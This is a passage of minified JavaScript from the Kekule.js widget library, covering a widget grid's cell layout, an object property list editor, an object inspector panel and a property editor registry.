t=this.getWidgetCell(e);this.getContainerElement().removeChild(t)},childWidgetMoved:function(e,t){this.tryApplySuper("childWidgetMoved",[e,t]);var i=this.getWidgetCell(e),n=this.getChildWidgets()[t+1],s=n?this.getWidgetCell(n):null;s?this.getContainerElement().insertBefore(i,s):this.getContainerElement().appendChild(i)},childrenModified:function(){this.getContainerElement().appendChild(this.getFloatClearer())},getAllCells:function(){for(var e=this.getChildWidgets(),t=[],i=0,n=e.length;i<n;++i)t.push(this.getWidgetCell(e[i]));return this.getAddingCell()&&t.push(this.getAddingCell()),t},updateCell:function(e,i){var r=e.style,a=this.getCellWidth(),o=this.getCellHeight();a?r.width=a:t.removeStyleProperty(r,"width"),o?r.height=o:t.removeStyleProperty(r,"height"),this.getUseCornerDecoration()?n.addClass(e,s.CORNER_ALL):n.removeClass(e,s.CORNER_ALL),this.adjustCellWidgetPos(e,i),this.adjustInteractionArea(e,i)},adjustCellWidgetPos:function(e,i){for(var s=this.getWidgetParentElemOfCell(e),r=n.getElemOffsetDimension(s),a=n.getElemClientDimension(e),o=["top","right","bottom","left"],l={},u=0,d=o.length;u<d;++u){var h=t.getComputedStyle(e,"padding-"+o[u]);l[o[u]]=t.analysisUnitsValue(h).value||0}var g=Object.extend({},a);g.width-=l.left+l.right,g.height-=l.top+l.bottom;var c=this.getWidgetPos(),p=Kekule.Widget.Position,E=c&p.LEFT?l.left:c&p.RIGHT?a.width-r.width-l.right:(g.width-r.width)/2+l.left,f=c&p.TOP?l.top:c&p.BOTTOM?a.height-r.height-l.bottom:(g.height-r.height)/2+l.top;s.style.left=E+"px",s.style.top=f+"px";var T=this.getInteractionAreaElemOfCell(e);if(T){var C=n.getElemClientDimension(T),m=E+r.width+C.width>=a.width&&f<=C.height;e[this.EXCEED_TOPRIGHT_FIELD]=m}if(this.getAutoShrinkWidgets()&&!i||!this.getRestoreWidgetSizeOnHotTrack()){var v=r.width>g.width?g.width/r.width:null,y=r.height>g.height?g.height/r.height:1;if(this.getKeepWidgetAspectRatio()){var S=v&&y?Math.min(v,y):v||y;v=S,y=S}s.style.transform="scale("+v+", "+y+")";var P=c&p.LEFT?"0":c&p.RIGHT?"100%":"50%",_=c&p.TOP?"0":c&p.BOTTOM?"100%":"50%";s.style.transformOrigin=P+" "+_}else s.style.transform="none"},adjustInteractionArea:function(e,t){var i=this.getInteractionAreaElemOfCell(e);i&&(t?e[this.EXCEED_TOPRIGHT_FIELD]&&this.getWidgetParentElemOfCell(e).appendChild(i):e.appendChild(i))},updateAllCells:function(){for(var e=this.getAllCells(),t=0,i=e.length;t<i;++t)this.updateCell(e[t],e[t]===this.getHotCell())},restoreCellShrink:function(e){var t=this.getWidgetParentElemOfCell(e);t&&(t.style.transform="none")},hotCellChanged:function(e,t){e&&(this.updateCell(e,!1),n.removeClass(e,s.STATE_HOVER)),t&&(n.addClass(t,s.STATE_HOVER),this.getRestoreWidgetSizeOnHotTrack()&&(this.restoreCellShrink(t),this.adjustInteractionArea(t,!0)))},reactCellMouseEnter:function(e){var t=e.getTarget();this.setHotCell(t)},reactCellMouseLeave:function(e){var t=e.getTarget();this.getHotCell()===t&&this.setHotCell(null)},reactCellClick:function(e){var t=e.getTarget();(i.isDescendantOf(t,this.getAddingCell())||t===this.getAddingCell())&&this.createWidget()},reactChildWidgetChange:function(e){var t=e.widget;t&&this.hasChild(t)&&this.updateCell(this.getWidgetCell(t),this.getHotCell()===this.getWidgetCell(t))}})}(),function(){"use strict";var e=Kekule.DomUtils,t=Kekule.HtmlElementUtils,i=Kekule.StyleUtils,n=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{PROPLISTEDITOR:"K-PropListEditor",PROPLISTEDITOR_PROPEXPANDMARKER:"K-PropListEditor-PropExpandMarker",PROPLISTEDITOR_PROPEXPANDED:"K-PropListEditor-PropExpanded",PROPLISTEDITOR_PROPCOLLAPSED:"K-PropListEditor-PropCollapsed",PROPLISTEDITOR_INDENTDECORATOR:"K-PropListEditor-IndentDecorator",PROPLISTEDITOR_READONLY:"K-PropListEditor-ReadOnly",OBJINSPECTOR:"K-ObjInspector",OBJINSPECTOR_FLEX_LAYOUT:"K-ObjInspector-Flex-Layout",OBJINSPECTOR_SUBPART:"K-ObjInspector-SubPart",OBJINSPECTOR_OBJSINFOPANEL:"K-ObjInspector-ObjsInfoPanel",OBJINSPECTOR_PROPINFOPANEL:"K-ObjInspector-PropInfoPanel",OBJINSPECTOR_PROPINFO_TITLE:"K-ObjInspector-PropInfoPanel-Title",OBJINSPECTOR_PROPINFO_DESCRIPTION:"K-ObjInspector-PropInfoPanel-Description",OBJINSPECTOR_PROPLISTEDITOR_CONTAINER:"K-ObjInspector-PropListEditorContainer"}),Kekule.Widget.ObjPropListEditor=Class.create(Kekule.Widget.ValueListEditor,{CLASS_NAME:"Kekule.Widget.ObjPropListEditor",PARENT_ROW_FIELD:"__$parentRow__",SUB_ROWS_FIELD:"__$subRows__",initialize:function(e){this.tryApplySuper("initialize",[e]),this.setValueDisplayMode(Kekule.Widget.ValueListEditor.ValueDisplayMode.SIMPLE),this.setPropStoreFieldValue("displayedPropScopes",[Class.PropertyScope.PUBLISHED]),this.setEnableLiveUpdate(!0),this.setSubPropNamePadding("1em"),this.setUseKeyHint(!0)},initProperties:function(){this.defineProp("objects",{dataType:DataType.ARRAY,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){var t=Kekule.ArrayUtils.toArray(e),i=this.getObjects();this.setPropStoreFieldValue("objects",t),this.inspectedObjectsChanged(t,i)}}),this.defineProp("displayedPropScopes",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("displayedPropScopes",e),this.updateAll()}}),this.defineProp("enableLiveUpdate",{dataType:DataType.BOOL}),this.defineProp("subPropNamePadding",{dataType:DataType.STRING}),this.defineProp("activePropEditor",{dataType:DataType.OBJECT,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getActiveRow();return e?this.getRowPropEditor(e):null}}),this.defineProp("keyField",{dataType:DataType.STRING}),this.defineProp("sortField",{dataType:DataType.STRING}),this.defineProp("enableOperHistory",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("operHistory",{dataType:"Kekule.OperationHistory",serializable:!1,scope:Class.PropertyScope.PUBLIC})},doFinalize:function(){this.tryApplySuper("doFinalize")},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setKeyField("title"),this.setSortField("key")},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+n.PROPLISTEDITOR},inspectedObjectsChanged:function(e,t){var i=Kekule.ArrayUtils.toArray(e);t&&this._uninstallObjectsEventHandlers(t),e&&this._installObjectsEventHandlers(i),this.updateAll(i)},_installObjectsEventHandlers:function(e){for(var t=0,i=e.length;t<i;++t){var n=e[t];n.addEventListener&&n.addEventListener("change",this.reactObjectsChange,this)}},_uninstallObjectsEventHandlers:function(e){for(var t=0,i=e.length;t<i;++t){var n=e[t];n.removeEventListener&&n.removeEventListener("change",this.reactObjectsChange,this)}},reactObjectsChange:function(e){if(this.getEnableLiveUpdate()){var t=e.changedPropNames;this.updateValues(t)}},getKeyCellExpandMarker:function(i,s){var r=null,a=this.getCellContentWrapper(i,s);if(a){for(var o=e.getDirectChildElems(a)||[],l=0,u=o.length;l<u;++l){var d=o[l];if(t.hasClass(d,n.PROPLISTEDITOR_PROPEXPANDMARKER)){r=d;break}}if(!r&&s){r=this.getDocument().createElement("span"),t.addClass(r,n.PROPLISTEDITOR_PROPEXPANDMARKER);var h=e.getChildNodesOfTypes(a,[Node.ELEMENT_NODE,Node.TEXT_NODE])[0];a.insertBefore(r,h)}}return r},getKeyCellIndentDecorator:function(i,s){var r=null,a=this.getCellContentWrapper(i,s);if(a){for(var o=e.getDirectChildElems(a)||[],l=0,u=o.length;l<u;++l){var d=o[l];if(t.hasClass(d,n.PROPLISTEDITOR_INDENTDECORATOR)){r=d;break}}if(!r&&s){r=this.getDocument().createElement("div"),t.addClass(r,n.PROPLISTEDITOR_INDENTDECORATOR);var h=e.getChildNodesOfTypes(a,[Node.ELEMENT_NODE,Node.TEXT_NODE])[0];a.insertBefore(r,h)}}return r},setRowKeyCellContent:function(e,t,i){var n=this.tryApplySuper("setRowKeyCellContent",[e,t,i]),s=this.getKeyCell(e),r=(this.getKeyCellExpandMarker(s,!0),this.getRowSubLevel(e)),a=this.getSubPropNamePadding();if(a){Kekule.StyleUtils.multiplyUnitsValue(a,r);a=Kekule.StyleUtils.multiplyUnitsValue(a,r);var o=this.getKeyCell(e);this.getCellContentWrapper(o,!0).style.paddingLeft=a}return n},updateAll:function(e){if(e||(e=this.getObjects()),e&&e.length){this.setActiveRow(null),this.collapseAllRows();e[0];var t=this.getDisplayPropEditors(e);this.sortPropEditors(t);e.length;var i=this.getRows(),n=i.length,s=t.length,r=0,a=0,o=this.getValueDisplayMode();for(r=0;r<s;++r){var l=t[r];if(l.setValueTextMode(o),this.isPropEditorVisible(l)){var u=a<n?i[a]:this.appendRow();this.setRowPropEditor(u,l),++a}}if(n>a)for(r=n-1;r>=a;--r)this.removeRow(i[r]);return this}this.clear()},updateValues:function(e){for(var t=e&&e.length,i=this.getRows(),n=0,s=i.length;n<s;++n){var r=i[n];if(t){var a=this.getRowPropEditor(r);if(!a||e.indexOf(a.getPropertyName())<0)continue}this.updateRowPropValue(r)}},updateRowPropValue:function(e){var t=this.getRowPropEditor(e).getValueText(),i=this.getRowData(e);i.value=t,this.setRowData(e,i),this.updateRowExpandState(e);var n=this.getSubPropRows(e);if(n)for(var s=0,r=n.length;s<r;++s)this.updateRowPropValue(n[s])},setRowPropEditor:function(e,i){var s,r=this.getKeyField()||"title";if(r)if("name"===r)s=i.getPropertyName();else if("title"===r)s=i.getTitle();else{s=i.getPropertyInfo()[r]}s||(s=i.getTitle()||i.getPropertyName());var a={key:i.getPropertyName(),value:i.getValueText(),title:s,hint:i.getHint(),propEditor:i,expanded:!1};i.isReadOnly()?t.addClass(e,n.PROPLISTEDITOR_READONLY):t.removeClass(e,n.PROPLISTEDITOR_READONLY),this.setRowData(e,a),this.updateRowExpandState(e)},getRowCascadeKey:function(e){if(e&&this.getRowData(e)){var t=this.getRowData(e).key,i=this.getParentPropRow(e);return i&&(t=this.getRowCascadeKey(i)+"."+t),t}return null},getActiveRowCascadeKey:function(){var e=this.getActiveRow();return e&&this.getRowCascadeKey(e)},getRowPropEditor:function(e){var t=this.getRowData(e);return t?t.propEditor:null},getPropEditor:function(e,t){var i=Kekule.PropertyEditor.findEditorClass(e,t);return i?new i:null},getPropEditorForType:function(e,t){var i=Kekule.PropertyEditor.findEditorClassForType(e,t);return i?new i:null},isPropEditorVisible:function(e){var t=!0;if(t=!(e.getObjects().length>1)||e.getAttributes()&Kekule.PropertyEditor.EditorAttributes.MULTIOBJS){var i=e.getPropertyInfo();if(i){var n=i.scope||Class.PropertyScope.DEFAULT;if(n){var s=this.getDisplayedPropScopes();s&&(t=s.indexOf(n)>=0)}}}return t},isRowExpandable:function(e){var t=this.getRowPropEditor(e);return!!t&&t.hasSubPropertyEditors()},isRowExpanded:function(e){return!!this.getRowData(e).expanded},updateRowExpandState:function(e){var i=this.isRowExpandable(e);i||this.removeSubPropertyRows(e),t.removeClass(e,n.PROPLISTEDITOR_PROPCOLLAPSED),t.removeClass(e,n.PROPLISTEDITOR_PROPEXPANDED),i&&(this.isRowExpanded(e)?t.addClass(e,n.PROPLISTEDITOR_PROPEXPANDED):t.addClass(e,n.PROPLISTEDITOR_PROPCOLLAPSED))},expandRow:function(e){return this._doExpandRow(e),this},_doExpandRow:function(e){if(this.isRowExpandable(e)&&!this.isRowExpanded(e)){t.removeClass(e,n.PROPLISTEDITOR_PROPCOLLAPSED),t.addClass(e,n.PROPLISTEDITOR_PROPEXPANDED),this.getRowData(e).expanded=!0;var i=this.getRowPropEditor(e).getSubPropertyEditors(this.getDisplayedPropScopes());return e[this.SUB_ROWS_FIELD]=this.addSubPropertyRows(e,i),e[this.SUB_ROWS_FIELD]}return null},collapseRow:function(e){this.isRowExpandable(e)&&this.isRowExpanded(e)&&(t.removeClass(e,n.PROPLISTEDITOR_PROPEXPANDED),t.addClass(e,n.PROPLISTEDITOR_PROPCOLLAPSED),this.getRowData(e).expanded=!1,this.removeSubPropertyRows(e));return this},toggleRowExpandState:function(e){return this.isRowExpanded(e)?this.collapseRow(e):this.expandRow(e),this},collapseAllRows:function(){for(var e=this.getRows(),t=0,i=e.length;t<i;++t)this.collapseRow(e[t]);return this},expandAllRows:function(e){var t=this,i=function(e,n){for(var s=0,r=e.length;s<r;++s){var a=t._doExpandRow(e[s]);a&&n&&i(a,n)}},n=this.getRows();return i(n,e),this},addSubPropertyRows:function(e,t){var i=this.getNextRow(e),n=[];if(t&&t.length){this.sortPropEditors(t);for(var s=0,r=t.length;s<r;++s){var a=t[s];this.isPropEditorVisible(a)&&n.push(this.addSubPropRow(e,a,i))}}return n},addSubPropRow:function(e,t,i){var n=this.insertRowBefore(null,i);return n[this.PARENT_ROW_FIELD]=e,this.setRowPropEditor(n,t),n},removeSubPropertyRows:function(e){for(var t=this.getSubPropRows(e),i=t.length-1;i>=0;--i)this.removeSubPropertyRows(t[i]),this.removeRow(t[i]);e[this.SUB_ROWS_FIELD]=null},getSubPropRows:function(e){return e[this.SUB_ROWS_FIELD]||[]},getParentPropRow:function(e){return e[this.PARENT_ROW_FIELD]},getRowSubLevel:function(e){for(var t=0,i=this.getParentPropRow(e);i;)++t,i=this.getParentPropRow(i);return t},getValueCellText:function(e,t){return t.value},finishEditing:function(){var e=this.getActiveRow(),t=this.getRowPropEditor(e);if(t){var i=this.getOperHistory(),n=this.getEnableOperHistory()&&i,s=t.getValue();if(t.saveEditValue()){if(n){var r=new Kekule.Widget.PropEditorModifyOperation(t,t.getValue(),s);i.push(r)}this.updateValues(),this.invokeEvent("propertyChange",{propertyEditor:t,propertyInfo:t.getPropertyInfo(),oldValue:s,newValue:t.getValue()}),this.invokeEvent("editFinish",{row:e})}}return this},doCreateValueEditWidget:function(e){var t=this.getRowPropEditor(e),i=t.createEditWidget(this);return i?(this.getReadOnly()||t.isReadOnly())&&i.setReadOnly&&i.setReadOnly(!0):i=this.doCreateDefaultValueEditWidget(e),i},doCreateDefaultValueEditWidget:function(e){var t=new Kekule.Widget.TextBox(this);t.setReadOnly(!0);var i=this.getRowData(e).value;return t.setValue(i),t},isOperHistoryAvailable:function(){return this.getOperHistory()&&this.getEnableOperHistory()},undo:function(){return this.isOperHistoryAvailable()&&this.getOperHistory().undo(),this},redo:function(){return this.isOperHistoryAvailable()&&this.getOperHistory().redo(),this},getCommonSuperClass:function(e){return ClassEx.getCommonSuperClass(e)},getCommonPropNames:function(e){var t=[],i=this.getCommonSuperClass(e);if(i)for(var n=ClassEx.getPropListOfScopes(i,this.getDisplayedPropScopes()),s=0,r=n.getLength();s<r;++s){var a=n.getPropInfoAt(s);t.push(a.name)}return t},getDisplayPropNames:function(e){return this.getCommonPropNames(e)},getDisplayPropEditors:function(e){var t=[],i=this.getCommonSuperClass(e);if(i)(n=this.getPropEditor(null,{dataType:ClassEx.getClassName(i)}))&&(n.setObjects(e),t=t.concat(n.getSubPropertyEditors(this.getDisplayedPropScopes())||[]));else if(1===e.length){var n,s=e[0];if(DataType.isObjectValue(s))(n=this.getPropEditorForType("object"))&&(n.setObjects(s),t=t.concat(n.getSubPropertyEditors()||[]))}return t},sortPropEditors:function(e){var t=this.getSortField();if(t){"key"===t&&this.getKeyField();var i=function(e,t){return e[t]||e.name};e.sort(function(e,n){var s=i(e.getPropertyInfo(),t),r=i(n.getPropertyInfo(),t);return s<r?-1:s>r?1:0})}},getObjPropValue:function(e,t){return e instanceof ObjectEx?e.getPropValue(t):e instanceof Object?e[t]:void 0},getObjsPropValue:function(e,t){for(var i=e[0],n=this.getObjPropValue(i,t),s=1,r=e.length;s<r;++s){i=e[s];if(this.getObjPropValue(i,t)!==n)return}return n},react_click:function(e){var t=e.getTarget(),i=this.getParentRow(t);i&&(t===this.getKeyCellExpandMarker(this.getKeyCell(i),!1)&&this.toggleRowExpandState(i));this.tryApplySuper("react_click",[e])},react_dblclick:function(e){var t=e.getTarget(),i=this.getParentCell(t);if(i){var n=this.getParentRow(i);i===this.getKeyCell(n)&&(this.toggleRowExpandState(n),!0)}},react_keydown:function(e){this.tryApplySuper("react_keydown",[e]);var t=e.getKeyCode();if(!(e.getAltKey()||e.getShiftKey()||e.getCtrlKey())){var i=this.getActiveRow();i&&(t===Kekule.X.Event.KeyCode.RIGHT?this.expandRow(i):t===Kekule.X.Event.KeyCode.LEFT&&this.collapseRow(i))}}}),Kekule.Widget.ObjectInspector=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.ObjectInspector",initialize:function(e){this._propListElem=null,this._objsInfoElem=null,this._propInfoElem=null,this.setPropStoreFieldValue("showObjsInfoPanel",!0),this.setPropStoreFieldValue("showPropInfoPanel",!0),this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("objects",{dataType:DataType.ARRAY,scope:Class.PropertyScope.PUBLIC,setter:function(e){var t=Kekule.ArrayUtils.toArray(e);this.setPropStoreFieldValue("objects",t),this.inspectedObjectsChanged(t)}}),this.defineProp("readOnly",{dataType:DataType.BOOL,getter:function(){var e=this.getPropEditor();return e&&e.getReadOnly()},setter:function(e){var t=this.getPropEditor();t&&t.setReadOnly(e)}}),this.defineProp("propEditor",{dataType:"Kekule.Widget.ObjPropListEditor",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE}),this.defineProp("showObjsInfoPanel",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showObjsInfoPanel",e),i.setDisplay(this._objsInfoElem,!!e),this._updateChildElemSize()}}),this.defineProp("showPropInfoPanel",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showPropInfoPanel",e),i.setDisplay(this._propInfoElem,!!e),this._updateChildElemSize()}}),this.defineProp("keyField",{dataType:DataType.STRING,getter:function(){var e=this.getPropEditor();return e&&e.getKeyField()},setter:function(e){var t=this.getPropEditor();t&&t.setKeyField(e)}}),this.defineProp("sortField",{dataType:DataType.STRING,getter:function(){var e=this.getPropEditor();return e&&e.getSortField()},setter:function(e){var t=this.getPropEditor();t&&t.setSortField(e)}}),this.defineProp("activeRow",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropEditor();return e&&e.getActiveRow()},setter:function(e){var t=this.getPropEditor();t&&t.setActiveRow(e)}}),this.defineProp("enableOperHistory",{dataType:DataType.BOOL,serializable:!1,getter:function(){var e=this.getPropEditor();return!!e&&e.getEnableOperHistory()},setter:function(e){var t=this.getPropEditor();return t?t.setEnableOperHistory(e):null}}),this.defineProp("operHistory",{dataType:"Kekule.OperationHistory",serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropEditor();return e?e.getOperHistory():null},setter:function(e){var t=this.getPropEditor();return t?t.setOperHistory(e):null}})},doFinalize:function(){this._finalizeChildWidgets(),this.tryApplySuper("doFinalize")},getChildrenHolderElement:function(){return this._propListElem||this.tryApplySuper("getChildrenHolderElement")},doGetWidgetClassName:function(){var e=n.OBJINSPECTOR;return this._isUsingFlexLayout()&&(e+=" "+n.OBJINSPECTOR_FLEX_LAYOUT),e},_isUsingFlexLayout:function(){return!!Kekule.BrowserFeature.cssFlex},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]),this._updateChildElemSize()},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(e,i){var s=this.tryApplySuper("doCreateSubElements",[e,i])||[],r=this._createSubPartElem(e);t.addClass(r,n.OBJINSPECTOR_OBJSINFOPANEL),i.appendChild(r),this._objsInfoElem=r;var a=this._createSubPartElem(e);t.addClass(a,n.OBJINSPECTOR_PROPINFOPANEL),i.appendChild(a),this._propInfoElem=a;var o=this._createSubPartElem(e);return t.addClass(o,n.OBJINSPECTOR_PROPLISTEDITOR_CONTAINER),i.appendChild(o),this._propListElem=o,this._createChildWidgets(o),s.concat([r,a,o])},_createSubPartElem:function(e){var t=e.createElement("div");return t.className=n.OBJINSPECTOR_SUBPART,t},_createChildWidgets:function(e){this._finalizeChildWidgets();var t=new Kekule.Widget.ObjPropListEditor(this);t.appendToWidget(this);var i=this;t.addEventListener("activeRowChange",function(e){i._updatePropInfo()}),this.setPropStoreFieldValue("propEditor",t)},_finalizeChildWidgets:function(){var e=this.getPropEditor();e&&e.finalize()},inspectedObjectsChanged:function(e){var t=this.getPropEditor();t&&t.setObjects(e),this._updateObjectsInfo(e),this._updatePropInfo()},_updateObjectsInfo:function(t){if(this._objsInfoElem){var i;if(t.length<=0)i=Kekule.$L("WidgetTexts.S_INSPECT_NONE");else if(1===t.length){var n=t[0],s=n.getId?n.getId():null,r=DataType.getType(n);i=s?Kekule.$L("WidgetTexts.S_INSPECT_ID_OBJECT").format(s,r):Kekule.$L("WidgetTexts.S_INSPECT_ANONYMOUS_OBJECT").format(r)}else i=Kekule.$L("WidgetTexts.S_INSPECT_OBJECTS").format(t.length);e.setElementText(this._objsInfoElem,i)}},_updatePropInfo:function(){if(this._propInfoElem){this._propInfoElem.innerHTML="";var t=this.getPropEditor().getActivePropEditor();if(t){var i,s=t.getTitle(),r=t.getDescription()||t.getPropertyType()||"",a=this._propInfoElem.ownerDocument;(i=a.createElement("div")).className=n.OBJINSPECTOR_PROPINFO_TITLE,e.setElementText(i,s),this._propInfoElem.appendChild(i),(i=a.createElement("div")).className=n.OBJINSPECTOR_PROPINFO_DESCRIPTION,e.setElementText(i,r),this._propInfoElem.appendChild(i)}}},undo:function(){return this.getPropEditor()&&this.getPropEditor().undo(),this},redo:function(){return this.getPropEditor()&&this.getPropEditor().redo(),this},getRowCascadeKey:function(e){var t=this.getPropEditor();return t&&t.getRowCascadeKey(e)},getActiveRowCascadeKey:function(){var e=this.getPropEditor();return e&&e.getActiveRowCascadeKey()},isRowExpandable:function(e){var t=this.getPropEditor();return t&&t.isRowExpandable(e)},isRowExpanded:function(e){var t=this.getPropEditor();return t&&t.isRowExpanded(e)},expandRow:function(e){var t=this.getPropEditor();return t&&t.expandRow(e),this},collapseRow:function(e){var t=this.getPropEditor();return t&&t.collapseRow(e),this},toggleRowExpandState:function(e){var t=this.getPropEditor();return t&&t.toggleRowExpandState(e),this},collapseAllRows:function(){var e=this.getPropEditor();return e&&e.collapseAllRows(),this},expandAllRows:function(e){var t=this.getPropEditor();return t&&t.expandAllRows(e),this},_updateChildElemSize:function(){var e=this;this._isUsingFlexLayout()||setTimeout(function(){var t,n;t=e.getShowObjsInfoPanel()?i.getComputedStyle(e._objsInfoElem,"height"):0,n=e.getShowPropInfoPanel()?i.getComputedStyle(e._propInfoElem,"height"):0,e._propListElem.style.top=t,e._propListElem.style.bottom=n},100)},setUseCornerDecoration:function(e){return this.tryApplySuper("setUseCornerDecoration",[e])}})}(),function(){"use strict";var e=Kekule.ArrayUtils;Kekule.Widget.PropertyEditor={},Kekule.PropertyEditor=Kekule.Widget.PropertyEditor,Kekule.PropertyEditor.BaseEditor=Class.create(ObjectEx,{CLASS_NAME:"Kekule.PropertyEditor.BaseEditor",initialize:function(){this.tryApplySuper("initialize"),this._editWidget=null},initProperties:function(){this.defineProp("objects",{dataType:DataType.ARRAY,serializable:!1,setter:function(e){var t=Kekule.ArrayUtils;this.setPropStoreFieldValue("objects",t.clone(t.toArray(e)))}}),this.defineProp("propertyInfo",{dataType:DataType.OBJECT,serializable:!1}),this.defineProp("propertyName",{dataType:DataType.VARIANT,serializable:!1,setter:null,getter:function(){var e=this.getPropertyInfo();return e?e.name:null}}),this.defineProp("propertyType",{dataType:DataType.VARIANT,serializable:!1,setter:null,getter:function(){var e=this.getPropertyInfo();return e?e.dataType:null}}),this.defineProp("parentEditor",{dataType:"Kekule.PropertyEditor.BaseEditor",serializable:!1}),this.defineProp("valueTextMode",{dataType:DataType.INT}),this.defineProp("readOnly",{dataType:DataType.BOOL}),this.defineProp("allowEmpty",{dataType:DataType.BOOL})},finalize:function(){this.finalizeWidget(),this.tryApplySuper("finalize")},finalizeWidget:function(){this._editWidget&&(this._editWidget.finalize(),this._editWidget=null)},getEditWidget:function(){return this._editWidget},getObjPropValue:function(e,t){return Kekule.ObjUtils.isUnset(t)?e:e instanceof ObjectEx?e.getPropValue(t):DataType.isArrayValue(e)?e[t]:e instanceof Object?e[t]:void 0},setObjPropValue:function(e,t,i){return e instanceof ObjectEx?e.setPropValue(t,i):e instanceof Object&&(e[t]=i),this},getObjsPropValue:function(e,t){if(e){if(Kekule.ObjUtils.isUnset(t))return e;for(var i=e[0],n=this.getObjPropValue(i,t),s=1,r=e.length;s<r;++s){i=e[s];if(this.getObjPropValue(i,t)!==n)return}return n}},setObjsPropValue:function(e,t,i){if(!e||!t)return this;for(var n=0,s=e.length;n<s;++n){var r=e[n];this.setObjPropValue(r,t,i)}return this},isReadOnly:function(){return!!(this.getAttributes()&t.READONLY)},hasSubPropertyEditors:function(){return!!(this.getAttributes()&t.SUBPROPS)},getAttributes:function(){var e=t.MULTIOBJS|t.SIMPLEVALUE,i=this.getPropertyInfo();return Kekule.ObjUtils.isUnset(this.getReadOnly())?i&&!i.setter&&(e|=t.READONLY):this.getReadOnly()&&(e|=t.READONLY),e},getSubPropertyEditors:function(e){return null},getTitle:function(){var e=this.getPropertyInfo();return e?e.title||e.name:""},getHint:function(){return this.getTitle()},getDescription:function(){return this.getPropertyInfo().description},getValue:function(){return this.getObjsPropValue(this.getObjects(),this.getPropertyName())},getValueText:function(){var e=Kekule.Widget.ValueListEditor.ValueDisplayMode,t=this.getValue(),i=this.getValueTextMode();try{var n=i===e.JSON?JSON.stringify(t):Kekule.ObjUtils.isUnset(t)?"":""+t}catch(e){return""+t}return n},setValue:function(e){var t=this.setObjsPropValue(this.getObjects(),this.getPropertyName(),e);return this.getParentEditor()&&this.getParentEditor().notifyChildEditorValueChange&&this.getParentEditor().notifyChildEditorValueChange(this.getPropertyName(),e),t},createEditWidget:function(e){var t=this.getValue(),i=this.doCreateEditWidget(e,t);return i&&i.setIsDirty&&i.setIsDirty(!1),this._editWidget=i,i},doCreateEditWidget:function(e){},saveEditValue:function(){if(this._editWidget){if(!this._editWidget.getIsDirty||this._editWidget.getIsDirty()){var e=this.doSaveEditValue();return this._editWidget.setIsDirty&&this._editWidget.setIsDirty(!1),e}return!1}return!1},doSaveEditValue:function(){},notifyChildEditorValueChange:function(e,t){}}),Kekule.PropertyEditor.EditorAttributes={MULTIOBJS:1,SUBPROPS:2,SIMPLEVALUE:4,VALUELIST:8,CUSTOMEDIT:16,READONLY:32,INLINE_EDIT:128,DROP_EDIT:256,POPUP_EDIT:512};var t=Kekule.PropertyEditor.EditorAttributes;Kekule.PropertyEditor.EditorMananger=Class.create({initialize:function(){this._registeredItems=[],this._defaultItems=[]},register:function(e,t,i,n,s){var r={editorClass:e,propType:t,objClass:i,propName:n,matchFunc:s};return this._registeredItems.push(r),t||i||n||s||this._defaultItems.push(r),this},unregister:function(e){for(var t=(i=this._registeredItems).length-1;t>=0;--t){i[t].editorClass===e&&i.splice(t,1)}var i;for(t=(i=this._defaultItems).length-1;t>=0;--t){i[t].editorClass===e&&i.splice(t,1)}return this},_getDefaultItem:function(){var e=this._defaultItems;return e[e.length-1]},_getSuperiorItem:function(e,t){for(var i=["matchFunc","propName","objClass","propType"],n=0,s=i.length;n<s;++n)if(!!e[i]!=!!t[i])return e[i]?e:t;return e},_isMatchedPropType:function(e,t){var i=e===t;if(!i&&DataType.isObjectExType(e)&&DataType.isObjectExType(t)){var n=ClassEx.findClass(e),s=ClassEx.findClass(t);i=ClassEx.isOrIsDescendantOf(n,s)}return i},_testOnPropType:function(e,t){return e.propType&&t.dataType?this._isMatchedPropType(t.dataType,e.propType)?1:-1:0},_testOnObjClass:function(e,t){return e.objClass&&t?ClassEx.isOrIsDescendantOf(t,e.objClass)?1:-1:0},_testOnPropName:function(e,t){return e.propName&&t.name?e.propName===t.name?1:-1:0},_testOnMatchFunc:function(e,t,i){return e.matchFunc?e.matchFunc(t,i)?1:-1:0},findEditorClass:function(e,t){for(var i=null,n=this._registeredItems,s=n.length-1;s>=0;--s){var r=n[s],a=this._testOnPropType(r,t);if(!(a<0)){var o=this._testOnObjClass(r,e);if(!(o<0)){var l=this._testOnPropName(r,t);if(!(l<0)){var u=this._testOnMatchFunc(r,e,t);if(!(u<0)&&a+o+l+u>0&&(i=i?this._getSuperiorItem(i,r.editorClass):r.editorClass)&&r.matchFunc)break}}}}i||(i=(r=this._getDefaultItem())?r.editorClass:null);return i},findEditorClassForType:function(e,t){var i={dataType:e,name:t};return this.findEditorClass(null,i)}}),Kekule.ClassUtils.makeSingleton(Kekule.PropertyEditor.EditorMananger),Kekule.PropertyEditor.findEditorClass=Kekule.PropertyEditor.EditorMananger.getInstance().findEditorClass.bind(Kekule.PropertyEditor.EditorMananger.getInstance()),Kekule.PropertyEditor.findEditorClassForType=Kekule.PropertyEditor.EditorMananger.getInstance().findEditorClassForType.bind(Kekule.PropertyEditor.EditorMananger.getInstance()),Kekule.PropertyEditor.register=Kekule.PropertyEditor.EditorMananger.getInstance().register.bind(Kekule.PropertyEditor.EditorMananger.getInstance()),Kekule.PropertyEditor.unregister=Kekule.PropertyEditor.EditorMananger.getInstance().unregister.bind(Kekule.PropertyEditor.EditorMananger.getInstance()),Kekule.PropertyEditor.SimpleEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.SimpleEditor",convertStrToValue:function(e,t){return 